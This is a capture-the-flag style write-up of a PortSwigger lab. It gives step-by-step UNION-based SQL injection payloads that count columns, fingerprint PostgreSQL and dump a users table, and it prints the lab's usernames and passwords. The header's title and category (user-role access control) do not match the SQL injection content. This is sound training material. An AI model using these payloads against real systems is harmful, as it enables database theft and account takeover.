Security article
User role can be modified in user profile
User role can be modified in user profile: This lab contains an SQL injection vulnerability in the product category filter. • PortSwigger • Access control vulnerabilities • union, sql
🎯 Objective
This lab contains an SQL injection vulnerability in the product category filter.
Goal:
- Use a UNION-based SQL injection attack.
- Retrieve all usernames and passwords from the
userstable. - Log in as the administrator user.
🔎 Analysis
Step 1: Identify Column Count
Start with an ORDER BY test to determine the number of columns:
https://0aea00980474b096c063221600bc00f6.web-security-academy.net/filter?category=Pets' ORDER BY 2--Confirmed 2 columns are present.
Step 2: Identify Data Types
Test with a UNION SELECT to check compatible datatypes:
https://0aea00980474b096c063221600bc00f6.web-security-academy.net/filter?category=Pets' UNION SELECT 1, 'b'--Confirmed that the second column accepts string data.
Step 3: Extract Usernames
Querying the users table:
https://0aea00980474b096c063221600bc00f6.web-security-academy.net/filter?category=Pets' UNION SELECT NULL, username FROM users--Step 4: Extract Passwords
https://0aea00980474b096c063221600bc00f6.web-security-academy.net/filter?category=Pets' UNION SELECT NULL, password FROM users--Passwords were successfully retrieved.
Step 5: Confirm Database Type
Used version query:
https://0aea00980474b096c063221600bc00f6.web-security-academy.net/filter?category=Pets' UNION SELECT NULL, version()--Result:
PostgreSQL 12.12 (Ubuntu 12.12-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu
Compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, 64-bitSo, the DBMS is PostgreSQL.
Step 6: Concatenate Columns
Using PostgreSQL concatenation operator ||:
https://0aea00980474b096c063221600bc00f6.web-security-academy.net/filter?category=Pets' UNION SELECT NULL, username || password FROM users--Response (ugly format):
wiener17ap5dyknfv5mvgsixws Fur Babies Pest Control Umbrella carlosb4l96gtssfe0zhzq23p9 administratorqzgqeyft9fb6de92y44c Babbage Web Spray More Than Just BirdsongStep 7: Format Nicely with CONCAT
Crafted a cleaner query:
https://0aea00980474b096c063221600bc00f6.web-security-academy.net/filter?category=Pets' UNION SELECT NULL, CONCAT(username, ':', password) FROM users--Response:
Fur Babies administrator:qzgqeyft9fb6de92y44c
Pest Control Umbrella carlos:b4l96gtssfe0zhzq23p9
Babbage Web Spray wiener:17ap5dyknfv5mvgsixws
More Than Just Birdsong🎉 Result
- Extracted all usernames and passwords.
- Administrator credentials retrieved:
administrator : qzgqeyft9fb6de92y44c- Successfully logged in as administrator. ✅